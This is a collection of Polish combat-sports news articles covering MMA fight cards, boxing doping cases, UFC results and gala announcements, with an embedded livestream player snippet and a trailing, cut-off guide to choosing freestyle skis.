Pojedynek o tymczasowy pas kategorii piórkowej: Roman Szymański – Salahdine Parnasse

Łukasz Jurkowski – Stjepan Bekavac (93kg)

Gracjan Szadziński – Marian Ziółkowski (70,3kg)

Filip Wolański – Filip Pejić (65,8kg)

Michał Michalski – Milos Janicić (77,1kg)

Cezary Kęsik – Jakub Kamieniarz (83,9kg)

Hubert Szymajda – Shamil Musaev (70,3kg)

Sebastian Przybysz – Bogdan Barbu (61,2kg)

Fot. Roman Szymański – MMA Fighter Facebook

KM

Problemy Millera

„A miało być tak pięknie”. Jarrell Miller miał rywalizować z mistrzem świata wagi ciężkiej WBA, WBO, IBF i IBO Anthony'm Joshuą. W jego organizmie wykryto obecność niedozwolonych środków, Komisja Sportowa Stanu Nowy Jork nie chce wydać pięściarzowi licencji na pojedynek.

Marzenia Jarrella Millera runęły w jednej chwili, prysnęły niczym bańka mydlana. Informacja o pozytywnym wyniku badań sprawiła, że walka z Joshuą stanęła pod znakiem zapytania. Test został przeprowadzono 20 marca, a środek, który znaleziono w organizmie Millera zwiększa siłę i wytrzymałość. Od razu pojawiły się pytania o walkę z mistrzem świata, którą zaplanowano na 1 czerwca w Madison Square Garden. Jarrell Miller miał spełniać marzenia i udowodnić, że jest bokserem najwyższej klasy.

Wszystko układało się po jego myśli. W ringu prezentował wysoką skuteczność i zapisał na koncie 23 wygrane pojedynki. O jego sile przekonali się m.in. Tomasz Adamek i Mariusz Wach, którzy przegrali z Amerykaninem przed czasem. Miał stanąć do walki z Joshuą, ale…

"Big Baby" nie zamierza jednak składać broni. – Jestem zdruzgotany wiadomością o zawieszeniu mojej licencji bokserskiej. Będę odwoływał się od tej decyzji – zapewnia Jarrell Miller. Bokser przekonuje, że nie miał do czynienia z dopingiem. – Nigdy świadomie nie wziąłem żadnej zakazanej substancji – podkreśla. Pozostaje więc otwarcie i zbadanie próbki B.

Miller stoi na przegranej pozycji. Jego sytuacja jest niezwykle trudna, a promotor Joshuy – Eddie Hearn rozpoczął poszukiwania nowego rywala dla "AJ". Wśród potencjalnych rywali mistrza świata wagi ciężkiej wymienia się również Polaków – Adama Kownackiego i Artura Szpilkę. Jednak ten pierwszy nie spotka się raczej z Joshuą. Kownacki ma w perspektywie rywalizację o pas WBC, który jest w posiadaniu Deontaya Wildera. W kontekście spotkania 1 czerwca z Joshuą wymienia się również m.in. Luisa Ortiza, Michaela Huntera, Manuela Chara, Oscara Rivasa i Kubrata Pulewa.

Dla 29-letniego zawodnika z Watfordu walka w Madison Square Garden będzie pierwszą stoczoną poza Wielką Brytanią. Dotychczas Anthony Joshua stoczył 22 pojedynki, z których 21 wygrał przed czasem.

Fot. Jarrell "BIG Baby" Miller Facebook

KM

Sobota z Polakami

Szykuje się wieczór z polskimi zawodnikami podczas gali UFC on ESPN+7. 20 kwietnia w Petersburgu wystąpią: Krzysztof Jotko, Marcin Tybura i Michał Oleksiejczuk.

29-letni Jotko wraca do rywalizacji po rocznej przerwie. Ostatnią walkę Polak stoczył 14 kwietnia 2018 roku w Gila River Arena w Glendale, gdzie przegrał w trzeciej rundzie z Bradem Tavaresem. Jotko przygotowywał się do starcia z Adamem Jandijewem, które miał stoczyć w Moskwie. Zawodnik zerwał więzadło krzyżowe i pojedynek został odwołany. W sierpniu przeszedł operację i czekała go kilkumiesięczna rekonwalestencja. Głodny rywalizacji Jotko zgłaszał swoją gotowość do rywalizacji. UFC umieściła go w rozpisce gali w Petersburgu, gdzie początkowo miał stoczyć bój z Romanem Kopyłowem.  Rosjanin doznał kontuzji i 20 kwietnia nie wystąpi w Rosji. Jotko zmierzy się z Alenem Amedovskim. Dla 31-letniego Macedończyka będzie to debiut w UFC, w dotychczasowej karierze jeszcze nie przegrał. Z kolei dla Polaka występ w Petersburgu ma ogromne znaczenie. Jotko przegrał trzy ostatnie pojedynki. Kolejne potknięcie może być kosztowne… 

Ósmą walkę w UFC stoczy były mistrz organizacji M-1 Global w wadze ciężkiej Marcin Tybura. 33-latek wrócił na zwycięską ścieżkę w lipcu w Hamburgu, gdzie pokonał na dystansie trzech rund Stefana Struve'a. Wcześniej przegrał z Derrickiem Lewisem i Frabicio Werdumem. Ogólnie – Tybura wygrał w UFC cztery walki, a poległ trzy razy. W Petersburgu Polakowi przyjdzie rywalizować z Shamilem Abdurakhimovem. 37-latek ostatnio pokonał Andreja Arlovskiego.

Drugą walkę po przerwie spowodowanej dyskwalifikacją stoczy Michał Oleksiejczuk. W lutym "Lord" udowodnił, że miejsce w UFC mu się należy. Polak w Pradze już w pierwszej rundzie odprawił Giana Villante, a jego dynamika i determinacja były godne podziwu. Oleksiejczuk jest gwarancją ciekawego widowiska, bo ponad 70% zwycięstw odniósł przed czasem. W Peteresburgu rywalem Polaka będzie Gadzhimurad Antigulov. 32-letni Rosjanin stoczy czwartą walkę w UFC. Dotychczas wszystkie walki z jego udziałem kończyły się przed czasem. Trzy pojedynki – dwie wygrane i porażka.

W walce wieczoru spotkają się doświadczeni zawodnicy wagi ciężkiej – Alistair Overeem oraz Alexei Olejnik.

Fot. Krzysztof Jotko Facebook

KM

Dwa srebra i brąz

Polska zakończyła mistrzostwa Europy w zapasach w Bukareszcie z trzema medalami na koncie. Wicemistrzami Starego Kontynentu zostali Geworg Sahakjan (67kg, styl klasyczny) i Zbigniew Baranowski (92kg, styl wolny), po brąz sięgnął Magomedmurad Gadżijew (70kg, styl wolny).

29-letni Sahakyan (na zdjęciu pierwszy z lewej) w Bukareszcie zaprezentował fantastyczną formę. W pierwszej walce reprezentant Polski pokazał siłę, ponieważ uporał się z brązowym medalistą ubiegłorocznego czempionatu Karenem Aslanyanem. Potem Sahakyan uporał się z Yaraslauem Kardashem, a następnie pokonał Konstantina Stasa. W półfinale reprezentant Polski stoczył zacięty bój z Mate Nemesem. Serb postawił trudne warunki 29-latkowi, jednak w końcu zapaśnik Cartusii Kartuzy przejął inicjatywę i wygrał 5:3. Finał rozpoczął się po myśli Sahakyana – 1:0, ale reprezentant Polski przegrał 1:5. Dla 29-latka to kolejny sukces. W ubiegłym roku wywalczył brąz mistrzostw świata.

Wielki sukces Zbigniewa Baranowskiego. Zapaśnik rywalizujący w stylu wolnym został wicemistrzem Europy. 27-latek szedł w Bukareszcie jak burza, jedynie w półfinale stoczył wyrównaną walkę, ale triumfował z Ibrahimem Bolukbasim – 6:5. W finale na Polaka czekał utytułowany Szarif Szarifow. Reprezentant Azerbejdżanu w 2012 roku wywalczył złoto olimpijskie w kategorii 84kg, cztery lata później sięgnął po brąz w 86kg. W finale mistrzostw Europy Szarifow pewnie pokonał Baranowskiego – 7:0. Dla Polaka srebro to ogromny sukces i zarazem wielka radość. 

Kolejny medal mistrzostw Europy wywalczył Magomedmurad Gadżijew. Reprezentant Polski stanął na podium Starego Kontynentu czwarty raz z rzędu! Brąz jest pierwszym medalem tego koloru w jego kolekcji. Wydawało się, że w Bukareszcie Gadżijew wejdzie do finału. Prowadził z Mustafą Kayą już 6:0, jednak przegrał. W starciu o brąz wystrzegał się błędów i wypunktował Semena Radułowa. 

O krok od podium byli: Roksana Zasina (53kg), Michał Tracz (63kg, styl klasyczny), Krzysztof Bieńkowski (65kg, styl wolny) oraz Robert Baran (125kg, styl wolny).

Trzy medale to wynik gorszy niż rok temu w Kapijsku w Rosji. Wtedy to zdobyliśmy cztery medale. Po srebra sięgnęli Zasina i Gadżijew, a brązowe krążki wywalczyli: Katarzyna Krawczyk i Robert Baran.

Fot. Polski Związek Zapaśniczy

KM

"Babilon MMA 8" – historyczna gala na torze kolarskim w Pruszkowie

TOMASZ BABILOŃSKI WYSTAWIA SWOJE NAJCIĘŻSZE DZIAŁA!

Walki o pasy mistrzowskie federacji Babilon MMA z udziałem Daniela Skibińskiego i Rafała Haratyka, plus występy takich zawodników jak Michał Kita czy Daniel Rutkowski – Tomasz Babiloński wystawia wszystkich swych najlepszych zawodników na historycznej gali Mieszanych Sztuk Walki, która odbędzie się 11 maja na torze kolarskim w Pruszkowie.

– Nigdy wcześniej nie było gali sportów walki na powstałym przed 10 laty pierwszym w Polsce krytym torze kolarskim. A obiekt w Pruszkowie jest duży, pomieści sporo kibiców. To fajne miejsce na dobrą galę MMA, także z powodu bliskości Warszawy. Najważniejsze jest oczywiście widowiskowo sportowe, a dzięki świetnej karcie walk mogę zapewnić, że to będzie znakomity event – mówi właściciel organizacji Babilon MMA Tomasz Babiloński, dla którego to już ósma gala pod własnym szyldem.

Daniel "Skiba" Skibiński (13-5, 2 KO, 2 SUB) będzie bronił pasa kategorii półśredniej (77,1 kg), który wywalczył po zwycięstwie z byłem zawodnikiem UFC Pawłem Pawlakiem. Z kolei Rafał "Polski Czołg" Haratyk (11-3-2, 2 KO, 4 SUB) powalczy o tytuł Babilon MMA w kategorii średniej (83,9 kg).

– Dla obydwu przygotowujemy zagranicznych zawodników, bo tak naprawdę nie mają z kim walczyć w Polsce. Już wkrótce ogłosimy nazwiska przeciwników. I Daniel Skibiński, i Rafał Haratyk wcale nie będą faworytami pojedynków mistrzowskich… Taki jest mój model sportowy prowadzenia zawodników i organizowania gal – każdy kolejny rywal musi być mocniejszy. I tak będzie w przypadku Daniela i Rafała. Muszą być gotowi na najtrudniejsze wyzwania – podkreślił organizator gali w Pruszkowie.

Na torze kolarskim wystąpią również widowiskowo walczący w wadze 120,2 kg Michał "Masakra" Kita (18-10, 9 KO, 6 SUB) i w kategorii 65,8 kg Daniel "Rutek" Rutkowski (7-2, 5 KO, 1 SUB).

– Michał Kita stoczył bardzo dobrą walkę na naszej poprzedniej gali w Żyrardowie i nie ma co robić przerw, skoro jest w takim gazie. Tym razem zmierzy się z Łukaszem Brzeskim (6-1, 4 KO, 2 SUB), który na naszej szóstej gali w Raszynie pokonał Michała Orkowskiego. Po 1,5-rocznej pracy promocyjno-organizacyjnej mamy w grupie kilku świetnych zawodników, którzy przyciągają fanów na trybuny. Kolejnym po Haratyku, Skibińskim i Kicie, jest były reprezentant kraju w zapasach Rutkowski. Do końca tygodnia ogłosimy nazwisko jego oponenta. To będzie fighter MMA, który odważnie jeździe i bije się na zagranicznych galach. Eksperci, z którymi rozmawiałem na temat zestawienia Rutkowskiego z tym właśnie zawodnikiem, są zdania, że to będzie niesamowity bój dwóch walczaków – przyznał Tomasz Babiloński.

Nowym nazwiskiem w "talii" Babilońskiego jest Adrian "Ares" Błeszyński (7-2, 6 KO, 1 SUB), który w wadze 83,9 kg spotka się z Michałem "Crusherem" Pietrzakiem (7-3, 2 KO, 2 SUB), który odniósł zwycięstwo na styczniowej gali Babilon MMA 7 w Żyrardowie.

– Wiele lat temu Adrian Błeszyński stoczył dwie walki w boksie zawodowym, ale mu nie poszło i postawił na Mieszane Sztuki Walki. Zauważyłem go na jednej z mniejszych gal, gdzie pokazał się z kapitalnej strony – to fighter, w którego warto zainwestować. Wiele razy zdarza się, że jadę i obserwuję chłopaków, którzy mają potencjał i trzeba dać im szansę. Błeszyński i Pietrzak mają podobne rekordy, wielką chęć aby wygrywać i to kolejne starcie, które rozgrzeje publiczności w hali i przed telewizorami – powiedział organizator.

Tomasz Babiloński zapowiedział, że kart walk Babilon MMA 8 zostanie wzbogacona o kolejne nazwiska. – Poza tym warto obejrzeć walki z udziałem amatorów, bo tam są przyszli zawodowcy i być może mistrzowie naszej federacji.

Bilety w cenie od 30 PLN są już dostępne w serwisie Eventim.pl.

Kolejny krok Wirtuoz Challenge

Odliczanie przed galą Wirtuoz Challenge 2 – Next Step. Początek widowiska 6 kwietnia o 19.00 w Wolborzu.

Ponad pół roku temu (22 września 2018 roku) odbyła się pierwsza gala Wirtuoz Challenge. Impreza okazała się sukcesem i dała satysfakcję organizatorem. Nie brakowało ciekawych walk, które mogły podobać się kibicom.  Przed czasem w pojedynkach na zasadach MMA wygrywali Adrian Bartosiński (84kg) oraz Piotr Drozdowski (77kg). Obu zobaczymy podczas sobotniej gali. Tak jak i Roberta Krasonia, który podczas Wirtuoz Challenge 1: Początek pokonał w K-1 Daniela Kolasińskiego.

Ponownie kibice będą mogli ekscytować się różnorodnością, zaplanowano pojedynki na zasadach MMA, K-1 oraz grapplingu. Fightcard prezentuje się ciekawie. Kibice mogą zacierać ręce na starcia w K-1.  W walce wieczoru, w wadze do 81kg, wystąpią Robert Krasoń i Dawid Mirkowski. Zawodnik Tom Center Piotrków Trybunalski może pochwalić się wieloma sukcesami na płaszczyźnie amatorskiej. W listopadzie 2018 roku w Mariborze Krasoń został mistrzem Europy w formule full contact. Kilka miesięcy wcześniej debiutował w K-1, jednak na gali DSF 15 przegrał z Maciejem Jewtuszko. Pierwszą wygraną w K-1 mistrz Europy z Mariboru zanotował w Wirtuoz Challenge. Czy 6 kwietnia Krasoń zapisze na swoim koncie kolejną wygraną? Czeka go trudne zadanie. Rywalem Krasonia będzie Dawid Mirkowski, który z dobrej strony prezentował się na galach DSF.

Interesująco zapowiada się pojedynek do 77kg pomiędzy Filipem Karbownikiem a Łukaszem Rambalskim. Dla pierwszego będzie to debiut na zawodowym ringu, ale zawodnik Tom Center Piotrków Trybunalski na poziomie amatorskim prezentował wysokie umiejętności. Rambalski to człowiek sukcesu. W polskim kickboxingu oraz muay thai osiągnął wiele. Rambalski wygrał ponad 20 zawodowych walk.  Mistrz świata WAKO w z Dublina Mateusz Kubiszyn zmierzy się z Tomaszem Koniecznym.

Gala Wirtuoz Challenge 1: Początek zakończyła się pewnym zwycięstwem Adriana Bartosińskiego, który w drugiej rundzie walki na zasadach MMA pokonał Jarosława Lecha. 6 kwietnia jego rywalem miał być Maxim Potapov, ale wypadł z rozpiski. Jego miejsce zajął Vladyslav Schepanskyi. Wspomniany Lech będzie miał okazję do rehabilitacji. W Wolborzu zmierzy się z Piotrem Drozdowskim, którym podczas Wirtuoz Challenge 1: Początek pokonał Vasyla Halycha. Obaj fighterzy przegrali jednak swoje ostatnie walki.

Na uwagę zasługuje starcie w grapplingu pomiędzy Dawidem Kubackim, a Sergiuszem Jaśniewskim. Obu zawodników dzieli 30kg! "Wolborski Wiking" jest lżejszy, ale niezwykle ambitny. Młody Jaśniewski zdobywał już medale najważniejszych imprez, więc zna smak sukcesu. Będzie ciekawie.  Drugi pojedynek na zasadach grapplingu: Łukasz Zalewski kontra Andrzej Iwat.

W Wolborzu zobaczymy również: Mateusza Olkiewicza, Daniela Dajcza, Grzegorza Grochulskiego, Aleksandra Dziubeckiego, Piotra Bajerowskiego, Mateusza Sobierskiego, Kamila Osendowskiego i Roberta Ruchałę.

Zapraszamy do śledzenia gali: https://fightime.pl/pl/video/live-gala-wirtuoz-challenge-2next-step/.

Fot. Stowarzyszenie Wirtuoz Facebook

KM

LIVE: Gala Wirtuoz Challenge #2 – Next Step

Zapraszamy na transmisję telewizyjną z gali Wirtuoz Challenge #2 – Next Step. Gala odbędzie się 06 kwietnia 2019 r. w Wolborzu.

[kod]

Wirtuoz Challenge #2 – Next Step

Wirtuoz Challenge #2 – Next Step

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live.livx/playlist.m3u8",
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Kolejna porażka Kowalkiewicz

Karolina Kowalkiewicz nie dała rady Michelle Waterson. Podczas gali UFC on ESPN 2 Polka przegrała jednogłośną decyzją sędziów.

Przed pojedynkiem mówiło się, że w perspektywie Karolina Kowalkiewicz może myśleć o kolejnej szansie na zdobycie mistrzowskiego pasa UFC. Warunek był jeden: pokonać Waterson i wrócić na zwycięską ścieżkę. We wrześniu Polka przegrała w pierwszej rundzie z Jessicą Andrade. 33-letnia Waterson przed starciem z Filadelfii miała na koncie dwie wygrane z rzędu. 

Pojedynek układał się po myśli Amerykanki, która zadała więcej ciosów. W pierwszej rundzie dużo niecelności z obu stron, choć w samej końcówce Kowalkiewicz dopadła rywalkę pod siatką, ale nic z tego nie wyszło. Druga odsłona wyglądała początkowo dobrze w wykonaniu byłej mistrzyni KSW. Polka wyprowadziła kilka ciosów, które dotarły do twarzy Waterson, ale później rywalka rozdawała karty. Waterson sprowadziła rywalizację do parteru i konsekwentnie osłabiała łodziankę. Próbowała nawet balachy, jednak Kowalkiewicz wybroniła się. Waterson była bliżej wygranej, więc Polka musiała ruszyć do przodu. Kowalkiewicz nie potrafiła jednak realnie zagrozić rywalce. Waterson nie pozostawała bierna, po raz kolejny sprowadziła walkę do parteru.

W przekroju całego pojedynku efektywniej wyglądała Amerykanka. Sędziowie nie mieli żadnych wątpliwości, że zwycięstwo należy się Amerykance. Wszyscy trzeciej punktowali 30:27 na korzyści "Gorącej Karateczki". Kowalkiewicz zanotowała czwartą porażkę w karierze, co warto podkreślić – wszystkie podczas przygody w UFC. Na swoim koncie 33-letnia Polka ma dwanaście wygranych w przekroju całej kariery.

Szybko zakończyła się walka wieczoru gali UFC on ESPN 2. Justin Gaethje trafił prawym sierpem Edsona Barbozę, a ten padł na ziemię. Walka trwała 2,5 minuty. Jeszcze mniej czasu potrzebował do odniesienia 19 zwycięstwa Jack Hermansson. W 49 sekund Szwed wypunktował David Brancha zakładając mu gilotynę.

Fot. Karolina Kowalkiewicz Facebook

KM

Usyk bez pasa

Oleksandr Usyk zwakował pas WBA wagi junior ciężkiej. W maju Ukrainiec ma zadebiutować w kategorii ciężkiej, a jego rywalem prawdopodobnie będzie Carlos Takam.

32-letni pięściarz urodzony w Symferopolu szuka kolejnych wyzwań. Na poziomie amatorskim zdobył wszystko, co możliwe. W 2012 roku w Londynie sięgnął po złoto Igrzysk Olimpijskich, a wcześniej triumfował w mistrzostwach świata i Europy. Karierę zawodową rozpoczął w listopadzie 2013 roku, czyli stosunkowo późno – w wieku 26 lat. Usyk radził sobie znakomicie na krajowych ringach i wygrywał kolejne walki przed czasem. W 2014 roku Ukrainiec pokonał Daniela Bruwera, dzięki czemu sięgnął po pas interkontynentalny WBO. Jego nazwisko coraz mocniej przebijało się w świecie boksu. Polscy kibice mieli okazję bliżej poznać Usyka we wrześniu 2016 roku w Gdańsku, kiedy to mierzył się z Krzysztofem Głowackim. Polak znajdował się w posiadaniu pasa WBO, po tym jak w morderczym starciu okazał się lepszy od Marco Hucka. Głowacki udanie bronił tytułu w pojedynku z Steve'm Cunninghamem. Usyk okazał się jednak zbyt mocny. Ukrainiec mocnym akcentem wkroczył na arenę i w kolejnych starciach udowadniał swoją wartość.

Obecnie Usyk uznawany jest za jednego z najlepszych pięściarzy na świecie. Zresztą sam pięściarz dostarcza argumentów ku takiemu twierdzeniu. Na zawodowym ringu jeszcze nigdy nie przegrał. W 2018 roku Usyk triumfował w turnieju World Boxing Super Series i stał się dominatorem kategorii junior ciężkiej. Pokonując w finale Murata Gassijewa znalazł się w posiadaniu pasów WBO i WBC oraz WBA i IBF.

Usyk szuka kolejnych wyzwań. W listopadzie Ukrainiec w Londynie pokonał Tony'ego Bellewa i już wtedy mówiło się, że 32-latek będzie chciał spróbować sił w kategorii ciężkiej. Na początku roku przyszło potwierdzenie. Usyk ma stanąć do rywalizacji w wadze ciężkiej w maju br., a w perspektywie pojawia się starcie z Anthony'm Joshuą.

Plany Usyka to jedno, ale druga strona medalu to jego stan posiadania. Ukrainiec zwakował pas WBA, ponieważ federacja narzuciła mu obowiązkową obronę tytułu z Denisem Lebiediewem. W związku z decydują Usyka – ta walka nie odbędzie się. Pas WBA czeka na właściciela. Będzie nim Lebiediew bądź jego rywal, o ile zostanie zorganizowany pojedynek.

Warto dodać, że tymczasowy pas WBO znajduje się w posiadaniu Krzysztofa Głowackiego, który 15 czerwca spotka się w Rydze z Mairisem Briedisem w półfinale turnieju WBSS.

Fot. Александр Усик / Usyk Facebook

KM

Zdecydował się odejść

Conor McGregor lubi zaskakiwać i zyskiwać rozgłos. Wiadomość o zakończeniu kariery przez 30-letniego Irlandczyka zelektryzowała cały świat MMA.

Jeden z najbardziej rozpoznawalnych zawodników UFC nie raz udowadniał, że potrafi zrobić wiele, aby być w centrum uwagi. W oktagonie prezentował wysokie umiejętności sportowe, przed kolejnymi galami skutecznie je promował, ale i budował wartość własnej osoby. Ostatni czas nie jest udany dla Irlandczyka. W październiku 2018 roku w Las Vegas przegrał pojedynek o pas mistrzowski w wadze lekkiej z Chabibem Nurmagomiedowem. Kilka tygodni temu został zatrzymany za zniszczenie telefonu komórkowej jednego z fanów, jednak po wpłaceniu kaucji wyszedł na wolność. Wybryki oraz wszelkie działania McGregora są bacznie obserwowane. Sam zawodnik ma tego pełną świadomość i postanowił zaskoczyć fanów MMA ogłaszając decyzję o zakończeniu sportowej kariery. – Hej ludzie, krótkie ogłoszenie. Zdecydowałem się odejść ze sportu nazywanego MMA. Życzę moim starym kolegom powodzenia w rywalizacji. Teraz dołączę do moich dawnych partnerów w przedsięwzięciach, na emeryturze – napisał na Twitterze McGregor.

Wiadomo, że informacja przekazana przez Irlandczyka wzbudziła zainteresowanie i jest szeroko komentowana. To jednak nie pierwsza taka sytuacja… McGregor ogłosił zakończenie kariery 19 kwietnia 2016 roku, również na Twitterze. Napisał wtedy: „Zdecydowałem się przejść na emeryturę w młodym wieku. Dzięki za hajs. Do zobaczenia”.

Nie da się ukryć, że czas zweryfikuje słowa McGregora. Powroty do rywalizacji są powszechnie znane w świecie sportów walki. Może celem McGregora było wywołanie terapii szokowej bądź przykrycie ostatnich negatywnych zdarzeń z jego udziałem. Również na płaszczyźnie sportowej Irlandczyk nie może pochwalić się wielkimi osiągnięciami. Nieudana walka bokserska z Floydem Mayweather Jr., przegrany pojedynek o tytuł z Nurmagomiedowem, wcześniejsze zwakowanie pasa w kategorii piórkowej i odebranie mistrzostwa w lekkiej.

Popularny "Notorious" przez długi czas był pierwszoplanową postacią UFC i zachwycał w kolejnych starciach. Zapisał się na kartach organizacji jako pierwszy mistrz w dwóch kategoriach wagowych. Po tym pozostało wspomnienie. Czy to naprawdę koniec historii Conora w MMA? Ciąg dalszy nastąpi…

KM

Oczekiwanie na rywala i… powrót

Dzieje się w wadze ciężkiej. Kolejnym rywalem Deonataya Wilder będzie Dominic Breazeale, niebawem przeciwnika pozna również Tyson Fury. Pojawił się także temat powrotu na ring Władimira Kliczko.

Przez długi czas na pierwszym planie była rewanżowa walka Wildera z Fury’m. Kibice zacierali ręce po grudniowym starciu pięściarzy, które zakończyło się remisem. Wszystkie znaki na ziemi i niebie wskazywały, że rewanż jest kwestią czasu. Padły również daty: 27 kwietnia oraz 18 maja. Mówiło się również o możliwych zarobkach bokserów. Sprawę trzeba jednak odłożyć. Plany Wildera i Fury’ego uległy zmianie, co nie oznacza, że do ich kolejnej walki nie dojdzie.

Olbrzym z Wilmslow podpisał kontrakt z grupą Top Rank i telewizją ESPN, który pozwoli mu zarobić aż 100 milionów dolarów. Zgodnie z umową, Fury ma stoczyć pięć pojedynków. Wszystko wskazuje na to, że pierwsza walka 30-latka odbędzie się 15 czerwca. Początkowo jako potencjalnego rywala Fury'ego wymieniano Kubrata Pulewa, na giełdzie nazwisk pojawili się również Oscar Rivas oraz Manuel Charr. Do tego grona dołączył również Tom Schwarz. 24-letni Niemiec jest niepokonany na zawodowym ringu, a wygrał już 24 walki. Dotychczas Schwarz rywalizował wyłącznie w Europie. Ogłoszenie nazwiska rywala Fury'ego to kwestia godzin.

Wilder ma rywala, Kliczko propozycję

Od kilku dni wiadomo, że Deontay Wilder pasa WBC będzie bronił w starciu z Dominikiem Breazealem. Do pojedynku dojdzie 18 maja w Nowym Jorku. Dla czempiona będzie to dziewiąta obrona pasa mistrzowskiego WBC. Z kolei Breazeale po raz drugi w karierze będzie mógł wywalczyć tytuł. W czerwcu 2016 roku przegrał starcie o pas IBF z Anthony'm Joshuą.

W próbach przekonania Władimira Kliczko do powrotu na ring nie ustaje platforma DAZN. Ukrainiec otrzymał kolejną propozycję, która opiewa na 60 milionów dolarów. Kliczko miałby stoczyć trzy pojedynki, w tym jeden z posiadaczem pasów IBF, IBO, WBA i WBO Anthony'm Joshuą. Jedną propozycję, wartą 40 milionów, były czempion wagi ciężkiej odrzucił. Stawka została podbita, "piłka nadal jest w grze". Czy 43-latek skusi się i wróci do sportowej rywalizacji?

Fot. Tyson Fury Facebook

KM

Dopingowy problem

Wpadka dopingowa T.J. Dillashawa, który w zaistniałej sytuacji zdecydował się oddać pas mistrzowski kategorii koguciej. Jak widać – walka z dopingiem w UFC w toku.

Niejednokrotnie słyszeliśmy o stosowaniu przez zawodników MMA niedozwolonych środków. Nie da się ukryć, że UFC ma poważny problem i szuka rozwiązania jak skutecznie z nim walczyć. Od 2015 roku organizacja współpracuje z Amerykańską Agencją Antydopingową. Każdego roku odnotowywanych jest kilkanaście wpadek w postaci stosowania niedozwolonych środków. Zawodnicy starają się tłumaczyć, że zażyli substancje nieświadomie. Pod koniec 2018 roku UFC poinformowała, że zwiększona zostania ilość badań przeprowadzonych przez USADA o około 30-40 procent. Sięgający po niedozwolone środki muszą liczyć się z konsekwencjami w postaci kar, jednak różni z tym bywa.

Sztandarowym przykładem zawodnika mającego problem z dopingiem jest Jon Jones. Nikt nie ma wątpliwości, że to wielkiej klasy fighter, jednak w ostatnich latach dużo słyszy się o jego problemach. W grudniu w organizmie Amerykanina wykryto turinabol. To powtórka z rozrywki, bo zawodnik sięgał po specyfik również wcześniej. Jego walka z Alexandrem Gustafssonem odbyła się, ale zmieniono jej… lokalizację. Galę UFC 232 przeniesiono z Las Vegas do Inglewood. Na początku marca Jones spotkał się z Anthony'm Smithem. W połowie lutego przeprowadzono dwie kontrole, które wykazały obecność niedozwolonych środków u "Bonesa". Jednak ich poziom był podobny do tych określonych w poprzednich testach. To tylko ostatnie miesiące z kariery Jonesa. Za wpadkę z lipca 2017 roku mistrz wagi półciężkiej otrzymał zawieszenie do marca 2019 roku i karę w wysokości 205 tys. dolarów. Jones mógł wcześniej wrócić do oktagonu, bo zaczął współpracować z USADA w celu… identyfikacji zawodników stosujących doping.

Za doping zawieszany był również były dominator kategorii średniej Anderson Silva. Na liście tych, którzy mieli problem z niedozwolonymi środkami widnieją również nazwiska Chaela Sonnena i Alistaira Overeema. We wrześniu 2018 roku na dwa lata zawieszono Fabricio Werduma. W organizmie Brazylijczyka wykryto obecność trenbolonu i epitrenbolonu. Po gali UFC 232 czasowo zawieszono Waltera Harrisa. Za doping ukarano również Polaków – Piotra Hallmana i Michała Oleksiejczuka. Drugi niedawno wrócił do oktagonu UFC i pewnie wygrał walkę. Z kolei Hallmann ponownie stanął do rywalizacji w amerykańskiej organizacji w 2015 roku. Po dwóch porażkach Polak został zwolniony z UFC.

Od 2017 roku tytuł mistrzowski w wadze koguciej należał do T.J. Dillashawa. 33-letni Amerykanin zrzekł się tytułu po tym jak zawieszono go na rok. – Do wszystkich moich fanów, chciałem być pierwszy, od którego się dowiecie. USADA i Komisja w Nowym Jorku poinformowały mnie o pozytywnym wyniku z ostatniej walki (porażka w styczniu z Henry'm Cejudo – red.). Słowa nie są w stanie wyrazić mojego rozczarowania. Pracujemy z moim zespołem, żeby to zrozumieć i rozwiązać ten problem. Poinformowałem UFC, że dobrowolnie zrzeknę się tytułu, podczas zajmowania się tą sprawą. Dziękuję wszystkim za wsparcie – napisał Dillashaw w mediach społeczenościowych.

Po emocjach sportowych przychodzi weryfikacja. Kibice dostają informację, że zawodnik, za którego trzymali kciuki walczył będąc na dopingu. Śledztwo, próbka B, wyjaśnienia – w ten sposób rodzi się zamieszanie. Pojawiają się również wątpliwości do wymiaru kary. Ważne jest także zachowanie zawodnika i umiejętność uderzenia się w piersi. Tylko, czy nie traci na tym widowisko? Przychodzi czas gali, świetne nazwiska i pytanie – czy za jakiś czas okaże się, że danej walki… nie było

Fot. Tj Dillashaw Facebook

KM

Wybierz narty freestyle

Nart freestyle przeznaczone są do naprawdę ekstremalnej jazdy. Chodzi tu głównie o akrobacje, jazdę tyłem oraz jazdę w terenie. Jednak tak naprawdę ich możliwości są wręcz nieograniczone. Dzięki temu sprawdzają się one w różnych sytuacjach. Warto jednak dobrze poznać ten rodzaj nart, zanim zainwestuje się w nie. Zakup powinien być przemyślany i dobrze zaplanowany.

Cechy nart freestyle
Narty freestyle odznaczają się kilkoma podstawowymi cechami, które różnią je od tradycyjnych nart. Oto kilka aspektów, dzięki którym można opisać te narty:
– wytrzymałe;
– elastyczne,
– szersze i dłuższe od innych rodzajów nart,
– zadarty dziób oraz tył,
– wykonane z mocnego drewna,
– duży promień skrętu, przekraczający 20 m,
– mają większą wyporność niż inne narty,
– można ich używać w różnych warunkach.

Gdzie można wykorzystać narty freestyle?
Narty freestyle to rozwiązanie idealne do jazdy terenowej. Dzięki dużej wyporności sprawdza się na świeżym śniegu, ale pozwala na jazdę także w tym ciężkim. Narty freestyle z udziałem umiejętności dobrze poradzą sobie w terenie zalesionym pełnym górek i hopków. Niektóre z nich są nawet specjalnie przygotowane do skoków ze skał! Ich konstrukcja umożliwia wykonywania akrobacji oraz jazdę tyłem. Warto dodać także, że narty freestyle tworzone są także z myślą o snowparkach, a ich kształt sprawdza się na skoczniach i railach. Wynika to właśnie ze wspomnianej wytrzymałości i elastyczności. Narty frestyle można wykorzystać także do spokojnej jazdy na stoku. W tym przypadku należy jednak pamiętać o dużym promieniu skrętu.

Jak wybrać narty freestyle?
